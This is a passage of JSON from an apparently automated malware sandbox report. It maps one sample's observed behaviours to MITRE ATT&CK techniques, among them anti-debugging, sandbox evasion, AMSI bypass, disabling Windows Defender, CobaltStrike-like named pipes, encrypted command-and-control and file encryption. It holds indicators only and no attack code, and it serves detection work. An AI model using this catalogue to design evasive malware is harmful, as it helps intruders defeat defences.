Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"YARA signature match - Anti Debugging Used"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"May attempt to implement anti-virtualization techniques using MAC address detection"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"},{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find a SID for the specified name"},{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate logon sessions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Able to enumerate permission groups in the domain"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"The input sample contains the RDTSCP instruction"},{"type":"informative","value":"Contains ability to detect presence of virtual environment (API string)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"informative","value":"Able to retrieve information set for devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"malicious","value":"Queries firmware table information (may be used to fingerprint/evade)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Found CobaltStrike named pipe like strings"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to monitor clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to transfer files remotely using SFTP"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Uses cURL to communicate over HTTPS"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (PE files)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"},{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains possible references to Golang crypto modules"},{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Impact","technique":"Account Access Removal","attack_id":"T1531","attack_id_wiki":"https://attack.mitre.org/techniques/T1531","identifiers":[{"type":"informative","value":"Contains ability to delete a user account from a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Impact","technique":"Data Destruction","attack_id":"T1485","attack_id_wiki":"https://attack.mitre.org/techniques/T1485","identifiers":[{"type":"informative","value":"Contains ability to delete device information set (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy resources"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Contains ability to block user input (API string)"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Contains ability to modify process attributes (API string)"},{"type":"informative","value":"Contains ability to delete device driver (API string)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Defense Impairment","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"$25","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"System.IO.Compression.ZipFile\" (Source: \"00000000-00001336.00000001.108809.80A2A000.00000002.mdmp\")\n Found string \"system.io.compression\" (Source: \"00000000-00001336.00000001.108809.B47F0000.00000004.mdmp, 00000000-00001336.00000001.108809.B4810000.00000004.mdmp\")\n Found string \"compressionmode\" (Source: \"00000000-00001336.00000001.108809.B47F0000.00000004.mdmp\")\n Found string \"decompressionmethods\" (Source: \"00000000-00001336.00000001.108809.B47F0000.00000004.mdmp\")\n Found string \"compressionlevel\" (Source: \"00000000-00001336.00000001.108809.B47F0000.00000004.mdmp\")\n Found string \"compressionstrategy\" (Source: \"00000000-00001336.00000001.108809.B47F0000.00000004.mdmp\")\n Found string \"compressionmethod\" (Source: \"00000000-00001336.00000001.108809.B47F0000.00000004.mdmp\")\n Found string \"compressiontracingswitchlevel\" (Source: \"00000000-00001336.00000001.108809.B4810000.00000004.mdmp\")\n Found string \"compressiontracingswitch\" (Source: \"00000000-00001336.00000001.108809.B4810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API 